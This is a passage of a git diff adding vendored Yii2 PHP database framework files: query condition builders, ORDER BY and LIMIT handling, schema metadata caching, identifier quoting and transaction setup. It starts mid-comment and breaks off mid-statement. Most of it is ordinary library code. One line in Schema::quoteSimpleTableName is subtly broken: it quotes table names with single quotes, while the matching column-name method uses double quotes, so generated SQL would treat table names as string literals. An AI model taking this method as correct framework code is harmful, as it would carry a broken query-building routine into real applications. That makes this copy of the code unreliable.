operator except that `OR` is used to concatenate + * the `NOT LIKE` predicates. + * + * - **exists**: operand 1 is a query object that used to build an `EXISTS` condition. For example + * `['exists', (new Query())->select('id')->from('users')->where(['active' => 1])]` will result in the following SQL expression: + * `EXISTS (SELECT "id" FROM "users" WHERE "active"=1)`. + * + * - **not exists**: similar to the `exists` operator except that `EXISTS` is replaced with `NOT EXISTS` in the generated condition. + * + * - Additionally you can specify arbitrary operators as follows: A condition of `['>=', 'id', 10]` will result in the + * following SQL expression: `id >= 10`. + * + * @param string|array $condition the conditions that should be put in the WHERE part. + * @return static the query object itself + * @see andWhere() + * @see orWhere() + */ + public function where($condition); + + /** + * Adds an additional WHERE condition to the existing one. + * The new condition and the existing one will be joined using the 'AND' operator. + * @param string|array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @return static the query object itself + * @see where() + * @see orWhere() + */ + public function andWhere($condition); + + /** + * Adds an additional WHERE condition to the existing one. + * The new condition and the existing one will be joined using the 'OR' operator. + * @param string|array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @return static the query object itself + * @see where() + * @see andWhere() + */ + public function orWhere($condition); + + /** + * Sets the WHERE part of the query ignoring empty parameters. + * + * @param array $condition the conditions that should be put in the WHERE part. Please refer to [[where()]] + * on how to specify this parameter. + * @return static the query object itself + * @see andFilterWhere() + * @see orFilterWhere() + */ + public function filterWhere(array $condition); + + /** + * Adds an additional WHERE condition to the existing one ignoring empty parameters. + * The new condition and the existing one will be joined using the 'AND' operator. + * @param array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @return static the query object itself + * @see filterWhere() + * @see orFilterWhere() + */ + public function andFilterWhere(array $condition); + + /** + * Adds an additional WHERE condition to the existing one ignoring empty parameters. + * The new condition and the existing one will be joined using the 'OR' operator. + * @param array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @return static the query object itself + * @see filterWhere() + * @see andFilterWhere() + */ + public function orFilterWhere(array $condition); + + /** + * Sets the ORDER BY part of the query. + * @param string|array $columns the columns (and the directions) to be ordered by. + * Columns can be specified in either a string (e.g. "id ASC, name DESC") or an array + * (e.g. `['id' => SORT_ASC, 'name' => SORT_DESC]`). + * The method will automatically quote the column names unless a column contains some parenthesis + * (which means the column contains a DB expression). + * @return static the query object itself + * @see addOrderBy() + */ + public function orderBy($columns); + + /** + * Adds additional ORDER BY columns to the query. + * @param string|array $columns the columns (and the directions) to be ordered by. + * Columns can be specified in either a string (e.g. "id ASC, name DESC") or an array + * (e.g. `['id' => SORT_ASC, 'name' => SORT_DESC]`). + * The method will automatically quote the column names unless a column contains some parenthesis + * (which means the column contains a DB expression). + * @return static the query object itself + * @see orderBy() + */ + public function addOrderBy($columns); + + /** + * Sets the LIMIT part of the query. + * @param integer $limit the limit. Use null or negative value to disable limit. + * @return static the query object itself + */ + public function limit($limit); + + /** + * Sets the OFFSET part of the query. + * @param integer $offset the offset. Use null or negative value to disable offset. + * @return static the query object itself + */ + public function offset($offset); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/QueryTrait.php b/php/yii2/basic/vendor/yiisoft/yii2/db/QueryTrait.php new file mode 100644 index 00000000..40d17f11 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/QueryTrait.php @@ -0,0 +1,378 @@ + + * @author Carsten Brandt + * @since 2.0 + */ +trait QueryTrait +{ + /** + * @var string|array query condition. This refers to the WHERE clause in a SQL statement. + * For example, `['age' => 31, 'team' => 1]`. + * @see where() for valid syntax on specifying this value. + */ + public $where; + /** + * @var integer maximum number of records to be returned. If not set or less than 0, it means no limit. + */ + public $limit; + /** + * @var integer zero-based offset from where the records are to be returned. If not set or + * less than 0, it means starting from the beginning. + */ + public $offset; + /** + * @var array how to sort the query results. This is used to construct the ORDER BY clause in a SQL statement. + * The array keys are the columns to be sorted by, and the array values are the corresponding sort directions which + * can be either [SORT_ASC](http://php.net/manual/en/array.constants.php#constant.sort-asc) + * or [SORT_DESC](http://php.net/manual/en/array.constants.php#constant.sort-desc). + * The array may also contain [[Expression]] objects. If that is the case, the expressions + * will be converted into strings without any change. + */ + public $orderBy; + /** + * @var string|callable $column the name of the column by which the query results should be indexed by. + * This can also be a callable (e.g. anonymous function) that returns the index value based on the given + * row data. For more details, see [[indexBy()]]. This property is only used by [[QueryInterface::all()|all()]]. + */ + public $indexBy; + + + /** + * Sets the [[indexBy]] property. + * @param string|callable $column the name of the column by which the query results should be indexed by. + * This can also be a callable (e.g. anonymous function) that returns the index value based on the given + * row data. The signature of the callable should be: + * + * ~~~ + * function ($row) + * { + * // return the index value corresponding to $row + * } + * ~~~ + * + * @return static the query object itself. + */ + public function indexBy($column) + { + $this->indexBy = $column; + return $this; + } + + /** + * Sets the WHERE part of the query. + * + * See [[QueryInterface::where()]] for detailed documentation. + * + * @param string|array $condition the conditions that should be put in the WHERE part. + * @return static the query object itself. + * @see andWhere() + * @see orWhere() + */ + public function where($condition) + { + $this->where = $condition; + return $this; + } + + /** + * Adds an additional WHERE condition to the existing one. + * The new condition and the existing one will be joined using the 'AND' operator. + * @param string|array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @return static the query object itself. + * @see where() + * @see orWhere() + */ + public function andWhere($condition) + { + if ($this->where === null) { + $this->where = $condition; + } else { + $this->where = ['and', $this->where, $condition]; + } + return $this; + } + + /** + * Adds an additional WHERE condition to the existing one. + * The new condition and the existing one will be joined using the 'OR' operator. + * @param string|array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @return static the query object itself. + * @see where() + * @see andWhere() + */ + public function orWhere($condition) + { + if ($this->where === null) { + $this->where = $condition; + } else { + $this->where = ['or', $this->where, $condition]; + } + return $this; + } + + /** + * Sets the WHERE part of the query but ignores [[isEmpty()|empty operands]]. + * + * This method is similar to [[where()]]. The main difference is that this method will + * remove [[isEmpty()|empty query operands]]. As a result, this method is best suited + * for building query conditions based on filter values entered by users. + * + * The following code shows the difference between this method and [[where()]]: + * + * ```php + * // WHERE `age`=:age + * $query->filterWhere(['name' => null, 'age' => 20]); + * // WHERE `age`=:age + * $query->where(['age' => 20]); + * // WHERE `name` IS NULL AND `age`=:age + * $query->where(['name' => null, 'age' => 20]); + * ``` + * + * Note that unlike [[where()]], you cannot pass binding parameters to this method. + * + * @param array $condition the conditions that should be put in the WHERE part. + * See [[where()]] on how to specify this parameter. + * @return static the query object itself. + * @see where() + * @see andFilterWhere() + * @see orFilterWhere() + */ + public function filterWhere(array $condition) + { + $condition = $this->filterCondition($condition); + if ($condition !== []) { + $this->where($condition); + } + return $this; + } + + /** + * Adds an additional WHERE condition to the existing one but ignores [[isEmpty()|empty operands]]. + * The new condition and the existing one will be joined using the 'AND' operator. + * + * This method is similar to [[andWhere()]]. The main difference is that this method will + * remove [[isEmpty()|empty query operands]]. As a result, this method is best suited + * for building query conditions based on filter values entered by users. + * + * @param array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @return static the query object itself. + * @see filterWhere() + * @see orFilterWhere() + */ + public function andFilterWhere(array $condition) + { + $condition = $this->filterCondition($condition); + if ($condition !== []) { + $this->andWhere($condition); + } + return $this; + } + + /** + * Adds an additional WHERE condition to the existing one but ignores [[isEmpty()|empty operands]]. + * The new condition and the existing one will be joined using the 'OR' operator. + * + * This method is similar to [[orWhere()]]. The main difference is that this method will + * remove [[isEmpty()|empty query operands]]. As a result, this method is best suited + * for building query conditions based on filter values entered by users. + * + * @param array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @return static the query object itself. + * @see filterWhere() + * @see andFilterWhere() + */ + public function orFilterWhere(array $condition) + { + $condition = $this->filterCondition($condition); + if ($condition !== []) { + $this->orWhere($condition); + } + return $this; + } + + /** + * Removes [[isEmpty()|empty operands]] from the given query condition. + * + * @param array $condition the original condition + * @return array the condition with [[isEmpty()|empty operands]] removed. + * @throws NotSupportedException if the condition operator is not supported + */ + protected function filterCondition($condition) + { + if (!is_array($condition)) { + return $condition; + } + + if (!isset($condition[0])) { + // hash format: 'column1' => 'value1', 'column2' => 'value2', ... + foreach ($condition as $name => $value) { + if ($this->isEmpty($value)) { + unset($condition[$name]); + } + } + return $condition; + } + + // operator format: operator, operand 1, operand 2, ... + + $operator = array_shift($condition); + + switch (strtoupper($operator)) { + case 'NOT': + case 'AND': + case 'OR': + foreach ($condition as $i => $operand) { + $subCondition = $this->filterCondition($operand); + if ($this->isEmpty($subCondition)) { + unset($condition[$i]); + } else { + $condition[$i] = $subCondition; + } + } + + if (empty($condition)) { + return []; + } + break; + case 'BETWEEN': + case 'NOT BETWEEN': + if (array_key_exists(1, $condition) && array_key_exists(2, $condition)) { + if ($this->isEmpty($condition[1]) || $this->isEmpty($condition[2])) { + return []; + } + } + break; + default: + if (array_key_exists(1, $condition) && $this->isEmpty($condition[1])) { + return []; + } + } + + array_unshift($condition, $operator); + + return $condition; + } + + /** + * Returns a value indicating whether the give value is "empty". + * + * The value is considered "empty", if one of the following conditions is satisfied: + * + * - it is `null`, + * - an empty string (`''`), + * - a string containing only whitespace characters, + * - or an empty array. + * + * @param mixed $value + * @return boolean if the value is empty + */ + protected function isEmpty($value) + { + return $value === '' || $value === [] || $value === null || is_string($value) && trim($value) === ''; + } + + /** + * Sets the ORDER BY part of the query. + * @param string|array $columns the columns (and the directions) to be ordered by. + * Columns can be specified in either a string (e.g. `"id ASC, name DESC"`) or an array + * (e.g. `['id' => SORT_ASC, 'name' => SORT_DESC]`). + * The method will automatically quote the column names unless a column contains some parenthesis + * (which means the column contains a DB expression). + * Note that if your order-by is an expression containing commas, you should always use an array + * to represent the order-by information. Otherwise, the method will not be able to correctly determine + * the order-by columns. + * @return static the query object itself. + * @see addOrderBy() + */ + public function orderBy($columns) + { + $this->orderBy = $this->normalizeOrderBy($columns); + return $this; + } + + /** + * Adds additional ORDER BY columns to the query. + * @param string|array $columns the columns (and the directions) to be ordered by. + * Columns can be specified in either a string (e.g. "id ASC, name DESC") or an array + * (e.g. `['id' => SORT_ASC, 'name' => SORT_DESC]`). + * The method will automatically quote the column names unless a column contains some parenthesis + * (which means the column contains a DB expression). + * @return static the query object itself. + * @see orderBy() + */ + public function addOrderBy($columns) + { + $columns = $this->normalizeOrderBy($columns); + if ($this->orderBy === null) { + $this->orderBy = $columns; + } else { + $this->orderBy = array_merge($this->orderBy, $columns); + } + return $this; + } + + /** + * Normalizes format of ORDER BY data + * + * @param array|string $columns + * @return array + */ + protected function normalizeOrderBy($columns) + { + if (is_array($columns)) { + return $columns; + } else { + $columns = preg_split('/\s*,\s*/', trim($columns), -1, PREG_SPLIT_NO_EMPTY); + $result = []; + foreach ($columns as $column) { + if (preg_match('/^(.*?)\s+(asc|desc)$/i', $column, $matches)) { + $result[$matches[1]] = strcasecmp($matches[2], 'desc') ? SORT_ASC : SORT_DESC; + } else { + $result[$column] = SORT_ASC; + } + } + return $result; + } + } + + /** + * Sets the LIMIT part of the query. + * @param integer $limit the limit. Use null or negative value to disable limit. + * @return static the query object itself. + */ + public function limit($limit) + { + $this->limit = $limit; + return $this; + } + + /** + * Sets the OFFSET part of the query. + * @param integer $offset the offset. Use null or negative value to disable offset. + * @return static the query object itself. + */ + public function offset($offset) + { + $this->offset = $offset; + return $this; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/Schema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/Schema.php new file mode 100644 index 00000000..6760397d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/Schema.php @@ -0,0 +1,545 @@ + + * @since 2.0 + */ +abstract class Schema extends Object +{ + /** + * The followings are the supported abstract column data types. + */ + const TYPE_PK = 'pk'; + const TYPE_BIGPK = 'bigpk'; + const TYPE_STRING = 'string'; + const TYPE_TEXT = 'text'; + const TYPE_SMALLINT = 'smallint'; + const TYPE_INTEGER = 'integer'; + const TYPE_BIGINT = 'bigint'; + const TYPE_FLOAT = 'float'; + const TYPE_DECIMAL = 'decimal'; + const TYPE_DATETIME = 'datetime'; + const TYPE_TIMESTAMP = 'timestamp'; + const TYPE_TIME = 'time'; + const TYPE_DATE = 'date'; + const TYPE_BINARY = 'binary'; + const TYPE_BOOLEAN = 'boolean'; + const TYPE_MONEY = 'money'; + + /** + * @var Connection the database connection + */ + public $db; + /** + * @var string the default schema name used for the current session. + */ + public $defaultSchema; + /** + * @var array map of DB errors and corresponding exceptions + * If left part is found in DB error message exception class from the right part is used. + */ + public $exceptionMap = [ + 'SQLSTATE[23' => 'yii\db\IntegrityException', + ]; + + /** + * @var array list of ALL table names in the database + */ + private $_tableNames = []; + /** + * @var array list of loaded table metadata (table name => TableSchema) + */ + private $_tables = []; + /** + * @var QueryBuilder the query builder for this database + */ + private $_builder; + + + /** + * @return \yii\db\ColumnSchema + * @throws \yii\base\InvalidConfigException + */ + protected function createColumnSchema() + { + return Yii::createObject('yii\db\ColumnSchema'); + } + + /** + * Loads the metadata for the specified table. + * @param string $name table name + * @return TableSchema DBMS-dependent table metadata, null if the table does not exist. + */ + abstract protected function loadTableSchema($name); + + /** + * Obtains the metadata for the named table. + * @param string $name table name. The table name may contain schema name if any. Do not quote the table name. + * @param boolean $refresh whether to reload the table schema even if it is found in the cache. + * @return TableSchema table metadata. Null if the named table does not exist. + */ + public function getTableSchema($name, $refresh = false) + { + if (array_key_exists($name, $this->_tables) && !$refresh) { + return $this->_tables[$name]; + } + + $db = $this->db; + $realName = $this->getRawTableName($name); + + if ($db->enableSchemaCache && !in_array($name, $db->schemaCacheExclude, true)) { + /* @var $cache Cache */ + $cache = is_string($db->schemaCache) ? Yii::$app->get($db->schemaCache, false) : $db->schemaCache; + if ($cache instanceof Cache) { + $key = $this->getCacheKey($name); + if ($refresh || ($table = $cache->get($key)) === false) { + $this->_tables[$name] = $table = $this->loadTableSchema($realName); + if ($table !== null) { + $cache->set($key, $table, $db->schemaCacheDuration, new TagDependency([ + 'tags' => $this->getCacheTag(), + ])); + } + } else { + $this->_tables[$name] = $table; + } + + return $this->_tables[$name]; + } + } + + return $this->_tables[$name] = $this->loadTableSchema($realName); + } + + /** + * Returns the cache key for the specified table name. + * @param string $name the table name + * @return mixed the cache key + */ + protected function getCacheKey($name) + { + return [ + __CLASS__, + $this->db->dsn, + $this->db->username, + $name, + ]; + } + + /** + * Returns the cache tag name. + * This allows [[refresh()]] to invalidate all cached table schemas. + * @return string the cache tag name + */ + protected function getCacheTag() + { + return md5(serialize([ + __CLASS__, + $this->db->dsn, + $this->db->username, + ])); + } + + /** + * Returns the metadata for all tables in the database. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema name. + * @param boolean $refresh whether to fetch the latest available table schemas. If this is false, + * cached data may be returned if available. + * @return TableSchema[] the metadata for all tables in the database. + * Each array element is an instance of [[TableSchema]] or its child class. + */ + public function getTableSchemas($schema = '', $refresh = false) + { + $tables = []; + foreach ($this->getTableNames($schema, $refresh) as $name) { + if ($schema !== '') { + $name = $schema . '.' . $name; + } + if (($table = $this->getTableSchema($name, $refresh)) !== null) { + $tables[] = $table; + } + } + + return $tables; + } + + /** + * Returns all table names in the database. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema name. + * If not empty, the returned table names will be prefixed with the schema name. + * @param boolean $refresh whether to fetch the latest available table names. If this is false, + * table names fetched previously (if available) will be returned. + * @return string[] all table names in the database. + */ + public function getTableNames($schema = '', $refresh = false) + { + if (!isset($this->_tableNames[$schema]) || $refresh) { + $this->_tableNames[$schema] = $this->findTableNames($schema); + } + + return $this->_tableNames[$schema]; + } + + /** + * @return QueryBuilder the query builder for this connection. + */ + public function getQueryBuilder() + { + if ($this->_builder === null) { + $this->_builder = $this->createQueryBuilder(); + } + + return $this->_builder; + } + + /** + * Determines the PDO type for the given PHP data value. + * @param mixed $data the data whose PDO type is to be determined + * @return integer the PDO type + * @see http://www.php.net/manual/en/pdo.constants.php + */ + public function getPdoType($data) + { + static $typeMap = [ + // php type => PDO type + 'boolean' => \PDO::PARAM_BOOL, + 'integer' => \PDO::PARAM_INT, + 'string' => \PDO::PARAM_STR, + 'resource' => \PDO::PARAM_LOB, + 'NULL' => \PDO::PARAM_NULL, + ]; + $type = gettype($data); + + return isset($typeMap[$type]) ? $typeMap[$type] : \PDO::PARAM_STR; + } + + /** + * Refreshes the schema. + * This method cleans up all cached table schemas so that they can be re-created later + * to reflect the database schema change. + */ + public function refresh() + { + /* @var $cache Cache */ + $cache = is_string($this->db->schemaCache) ? Yii::$app->get($this->db->schemaCache, false) : $this->db->schemaCache; + if ($this->db->enableSchemaCache && $cache instanceof Cache) { + TagDependency::invalidate($cache, $this->getCacheTag()); + } + $this->_tableNames = []; + $this->_tables = []; + } + + /** + * Creates a query builder for the database. + * This method may be overridden by child classes to create a DBMS-specific query builder. + * @return QueryBuilder query builder instance + */ + public function createQueryBuilder() + { + return new QueryBuilder($this->db); + } + + /** + * Returns all table names in the database. + * This method should be overridden by child classes in order to support this feature + * because the default implementation simply throws an exception. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema. + * @return array all table names in the database. The names have NO schema name prefix. + * @throws NotSupportedException if this method is called + */ + protected function findTableNames($schema = '') + { + throw new NotSupportedException(get_class($this) . ' does not support fetching all table names.'); + } + + /** + * Returns all unique indexes for the given table. + * Each array element is of the following structure: + * + * ~~~ + * [ + * 'IndexName1' => ['col1' [, ...]], + * 'IndexName2' => ['col2' [, ...]], + * ] + * ~~~ + * + * This method should be overridden by child classes in order to support this feature + * because the default implementation simply throws an exception + * @param TableSchema $table the table metadata + * @return array all unique indexes for the given table. + * @throws NotSupportedException if this method is called + */ + public function findUniqueIndexes($table) + { + throw new NotSupportedException(get_class($this) . ' does not support getting unique indexes information.'); + } + + /** + * Returns the ID of the last inserted row or sequence value. + * @param string $sequenceName name of the sequence object (required by some DBMS) + * @return string the row ID of the last row inserted, or the last value retrieved from the sequence object + * @throws InvalidCallException if the DB connection is not active + * @see http://www.php.net/manual/en/function.PDO-lastInsertId.php + */ + public function getLastInsertID($sequenceName = '') + { + if ($this->db->isActive) { + return $this->db->pdo->lastInsertId($sequenceName); + } else { + throw new InvalidCallException('DB Connection is not active.'); + } + } + + /** + * @return boolean whether this DBMS supports [savepoint](http://en.wikipedia.org/wiki/Savepoint). + */ + public function supportsSavepoint() + { + return $this->db->enableSavepoint; + } + + /** + * Creates a new savepoint. + * @param string $name the savepoint name + */ + public function createSavepoint($name) + { + $this->db->createCommand("SAVEPOINT $name")->execute(); + } + + /** + * Releases an existing savepoint. + * @param string $name the savepoint name + */ + public function releaseSavepoint($name) + { + $this->db->createCommand("RELEASE SAVEPOINT $name")->execute(); + } + + /** + * Rolls back to a previously created savepoint. + * @param string $name the savepoint name + */ + public function rollBackSavepoint($name) + { + $this->db->createCommand("ROLLBACK TO SAVEPOINT $name")->execute(); + } + + /** + * Sets the isolation level of the current transaction. + * @param string $level The transaction isolation level to use for this transaction. + * This can be one of [[Transaction::READ_UNCOMMITTED]], [[Transaction::READ_COMMITTED]], [[Transaction::REPEATABLE_READ]] + * and [[Transaction::SERIALIZABLE]] but also a string containing DBMS specific syntax to be used + * after `SET TRANSACTION ISOLATION LEVEL`. + * @see http://en.wikipedia.org/wiki/Isolation_%28database_systems%29#Isolation_levels + */ + public function setTransactionIsolationLevel($level) + { + $this->db->createCommand("SET TRANSACTION ISOLATION LEVEL $level;")->execute(); + } + + /** + * Quotes a string value for use in a query. + * Note that if the parameter is not a string, it will be returned without change. + * @param string $str string to be quoted + * @return string the properly quoted string + * @see http://www.php.net/manual/en/function.PDO-quote.php + */ + public function quoteValue($str) + { + if (!is_string($str)) { + return $str; + } + + if (($value = $this->db->getSlavePdo()->quote($str)) !== false) { + return $value; + } else { + // the driver doesn't support quote (e.g. oci) + return "'" . addcslashes(str_replace("'", "''", $str), "\000\n\r\\\032") . "'"; + } + } + + /** + * Quotes a table name for use in a query. + * If the table name contains schema prefix, the prefix will also be properly quoted. + * If the table name is already quoted or contains '(' or '{{', + * then this method will do nothing. + * @param string $name table name + * @return string the properly quoted table name + * @see quoteSimpleTableName() + */ + public function quoteTableName($name) + { + if (strpos($name, '(') !== false || strpos($name, '{{') !== false) { + return $name; + } + if (strpos($name, '.') === false) { + return $this->quoteSimpleTableName($name); + } + $parts = explode('.', $name); + foreach ($parts as $i => $part) { + $parts[$i] = $this->quoteSimpleTableName($part); + } + + return implode('.', $parts); + + } + + /** + * Quotes a column name for use in a query. + * If the column name contains prefix, the prefix will also be properly quoted. + * If the column name is already quoted or contains '(', '[[' or '{{', + * then this method will do nothing. + * @param string $name column name + * @return string the properly quoted column name + * @see quoteSimpleColumnName() + */ + public function quoteColumnName($name) + { + if (strpos($name, '(') !== false || strpos($name, '[[') !== false || strpos($name, '{{') !== false) { + return $name; + } + if (($pos = strrpos($name, '.')) !== false) { + $prefix = $this->quoteTableName(substr($name, 0, $pos)) . '.'; + $name = substr($name, $pos + 1); + } else { + $prefix = ''; + } + + return $prefix . $this->quoteSimpleColumnName($name); + } + + /** + * Quotes a simple table name for use in a query. + * A simple table name should contain the table name only without any schema prefix. + * If the table name is already quoted, this method will do nothing. + * @param string $name table name + * @return string the properly quoted table name + */ + public function quoteSimpleTableName($name) + { + return strpos($name, "'") !== false ? $name : "'" . $name . "'"; + } + + /** + * Quotes a simple column name for use in a query. + * A simple column name should contain the column name only without any prefix. + * If the column name is already quoted or is the asterisk character '*', this method will do nothing. + * @param string $name column name + * @return string the properly quoted column name + */ + public function quoteSimpleColumnName($name) + { + return strpos($name, '"') !== false || $name === '*' ? $name : '"' . $name . '"'; + } + + /** + * Returns the actual name of a given table name. + * This method will strip off curly brackets from the given table name + * and replace the percentage character '%' with [[Connection::tablePrefix]]. + * @param string $name the table name to be converted + * @return string the real name of the given table name + */ + public function getRawTableName($name) + { + if (strpos($name, '{{') !== false) { + $name = preg_replace('/\\{\\{(.*?)\\}\\}/', '\1', $name); + + return str_replace('%', $this->db->tablePrefix, $name); + } else { + return $name; + } + } + + /** + * Extracts the PHP type from abstract DB type. + * @param ColumnSchema $column the column schema information + * @return string PHP type name + */ + protected function getColumnPhpType($column) + { + static $typeMap = [ + // abstract type => php type + 'smallint' => 'integer', + 'integer' => 'integer', + 'bigint' => 'integer', + 'boolean' => 'boolean', + 'float' => 'double', + 'binary' => 'resource', + ]; + if (isset($typeMap[$column->type])) { + if ($column->type === 'bigint') { + return PHP_INT_SIZE == 8 && !$column->unsigned ? 'integer' : 'string'; + } elseif ($column->type === 'integer') { + return PHP_INT_SIZE == 4 && $column->unsigned ? 'string' : 'integer'; + } else { + return $typeMap[$column->type]; + } + } else { + return 'string'; + } + } + + /** + * Converts a DB exception to a more concrete one if possible. + * + * @param \Exception $e + * @param string $rawSql SQL that produced exception + * @return Exception + */ + public function convertException(\Exception $e, $rawSql) + { + if ($e instanceof Exception) { + return $e; + } + + $exceptionClass = '\yii\db\Exception'; + foreach ($this->exceptionMap as $error => $class) { + if (strpos($e->getMessage(), $error) !== false) { + $exceptionClass = $class; + } + } + $message = $e->getMessage() . "\nThe SQL being executed was: $rawSql"; + $errorInfo = $e instanceof \PDOException ? $e->errorInfo : null; + return new $exceptionClass($message, $errorInfo, (int) $e->getCode(), $e); + } + + /** + * Returns a value indicating whether a SQL statement is for read purpose. + * @param string $sql the SQL statement + * @return boolean whether a SQL statement is for read purpose. + */ + public function isReadQuery($sql) + { + $pattern = '/^\s*(SELECT|SHOW|DESCRIBE)\b/i'; + return preg_match($pattern, $sql) > 0; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/StaleObjectException.php b/php/yii2/basic/vendor/yiisoft/yii2/db/StaleObjectException.php new file mode 100644 index 00000000..386dbcf7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/StaleObjectException.php @@ -0,0 +1,23 @@ + + * @since 2.0 + */ +class StaleObjectException extends Exception +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Stale Object Exception'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/TableSchema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/TableSchema.php new file mode 100644 index 00000000..311c68a1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/TableSchema.php @@ -0,0 +1,105 @@ + + * @since 2.0 + */ +class TableSchema extends Object +{ + /** + * @var string the name of the schema that this table belongs to. + */ + public $schemaName; + /** + * @var string the name of this table. The schema name is not included. Use [[fullName]] to get the name with schema name prefix. + */ + public $name; + /** + * @var string the full name of this table, which includes the schema name prefix, if any. + * Note that if the schema name is the same as the [[Schema::defaultSchema|default schema name]], + * the schema name will not be included. + */ + public $fullName; + /** + * @var string[] primary keys of this table. + */ + public $primaryKey = []; + /** + * @var string sequence name for the primary key. Null if no sequence. + */ + public $sequenceName; + /** + * @var array foreign keys of this table. Each array element is of the following structure: + * + * ~~~ + * [ + * 'ForeignTableName', + * 'fk1' => 'pk1', // pk1 is in foreign table + * 'fk2' => 'pk2', // if composite foreign key + * ] + * ~~~ + */ + public $foreignKeys = []; + /** + * @var ColumnSchema[] column metadata of this table. Each array element is a [[ColumnSchema]] object, indexed by column names. + */ + public $columns = []; + + + /** + * Gets the named column metadata. + * This is a convenient method for retrieving a named column even if it does not exist. + * @param string $name column name + * @return ColumnSchema metadata of the named column. Null if the named column does not exist. + */ + public function getColumn($name) + { + return isset($this->columns[$name]) ? $this->columns[$name] : null; + } + + /** + * Returns the names of all columns in this table. + * @return array list of column names + */ + public function getColumnNames() + { + return array_keys($this->columns); + } + + /** + * Manually specifies the primary key for this table. + * @param string|array $keys the primary key (can be composite) + * @throws InvalidParamException if the specified key cannot be found in the table. + */ + public function fixPrimaryKey($keys) + { + if (!is_array($keys)) { + $keys = [$keys]; + } + $this->primaryKey = $keys; + foreach ($this->columns as $column) { + $column->isPrimaryKey = false; + } + foreach ($keys as $key) { + if (isset($this->columns[$key])) { + $this->columns[$key]->isPrimaryKey = true; + } else { + throw new InvalidParamException("Primary key '$key' cannot be found in table '{$this->name}'."); + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/Transaction.php b/php/yii2/basic/vendor/yiisoft/yii2/db/Transaction.php new file mode 100644 index 00000000..ebba0ed1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/Transaction.php @@ -0,0 +1,213 @@ +beginTransaction(); + * try { + * $connection->createCommand($sql1)->execute(); + * $connection->createCommand($sql2)->execute(); + * //.... other SQL executions + * $transaction->commit(); + * } catch (Exception $e) { + * $transaction->rollBack(); + * } + * ~~~ + * + * @property boolean $isActive Whether this transaction is active. Only an active transaction can [[commit()]] + * or [[rollBack()]]. This property is read-only. + * @property string $isolationLevel The transaction isolation level to use for this transaction. This can be + * one of [[READ_UNCOMMITTED]], [[READ_COMMITTED]], [[REPEATABLE_READ]] and [[SERIALIZABLE]] but also a string + * containing DBMS specific syntax to be used after `SET TRANSACTION ISOLATION LEVEL`. This property is + * write-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Transaction extends \yii\base\Object +{ + /** + * A constant representing the transaction isolation level `READ UNCOMMITTED`. + * @see http://en.wikipedia.org/wiki/Isolation_%28database_systems%29#Isolation_levels + */ + const READ_UNCOMMITTED = 'READ UNCOMMITTED'; + /** + * A constant representing the transaction isolation level `READ COMMITTED`. + * @see http://en.wikipedia.org/wiki/Isolation_%28database_systems%29#Isolation_levels + */ + const READ_COMMITTED = 'READ COMMITTED'; + /** + * A constant representing the transaction isolation level `REPEATABLE READ`. + * @see http://en.wikipedia.org/wiki/Isolation_%28database_systems%29#Isolation_levels + */ + const REPEATABLE_READ = 'REPEATABLE READ'; + /** + * A constant representing the transaction isolation level `SERIALIZABLE`. + * @see http://en.wikipedia.org/wiki/Isolation_%28database_systems%29#Isolation_levels + */ + const SERIALIZABLE = 'SERIALIZABLE'; + + /** + * @var Connection the database connection that this transaction is associated with. + */ + public $db; + + /** + * @var integer the nesting level of the transaction. 0 means the outermost level. + */ + private $_level = 0; + + + /** + * Returns a value indicating whether this transaction is active. + * @return boolean whether this transaction is active. Only an active transaction + * can [[commit()]] or [[rollBack()]]. + */ + public function getIsActive() + { + return $this->_level > 0 && $this->db && $this->db->isActive; + } + + /** + * Begins a transaction. + * @param string|null $isolationLevel The [isolation level][] to use for this transaction. + * This can be one of [[READ_UNCOMMITTED]], [[READ_COMMITTED]], [[REPEATABLE_READ]] and [[SERIALIZABLE]] but + * also a string containing DBMS specific syntax to be used after `SET TRANSACTION ISOLATION LEVEL`. + * If not specified (`null`) the isolation level will not be set explicitly and the DBMS default will be used. + * + * > Note: This setting does not work for PostgreSQL, where setting the isolation level before the transaction + * has no effect. You have to call [[setIsolationLevel()]] in this case after the transaction has started. + * + * > Note: Some DBMS allow setting of the isolation level only for the whole connection so subsequent transactions + * may get the same isolation level even if you did not specify any. When using this feature + * you may need to set the isolation level for all transactions explicitly to avoid conflicting settings. + * At the time of this writing affected DBMS are MSSQL and SQLite. + * + * [isolation level]: http://en.wikipedia.org/wiki/Isolation_%28database_systems%29#Isolation_levels + * @throws InvalidConfigException if [[db]] is `null`. + */ + public function begin($isolationLevel = null) + { + if ($this->db === null) { + throw new InvalidConfigException('Transaction::db must be set.'); + } + $this->db->open(); + + if ($this->_level == 0) { + if ($isolationLevel !== null) { + $this->db->getSchema()->setTransactionIsolationLevel($isolationLevel); + } + Yii::trace('Begin transaction' . ($isolationLevel ? ' with isolation level ' . $isolationLevel : ''), __METHOD__); + + $this->db->trigger(Connection::EVENT_BEGIN_TRANSACTION); + $this->db->pdo->beginTransaction(); + $this->_level = 1; + + return; + } + + $schema = 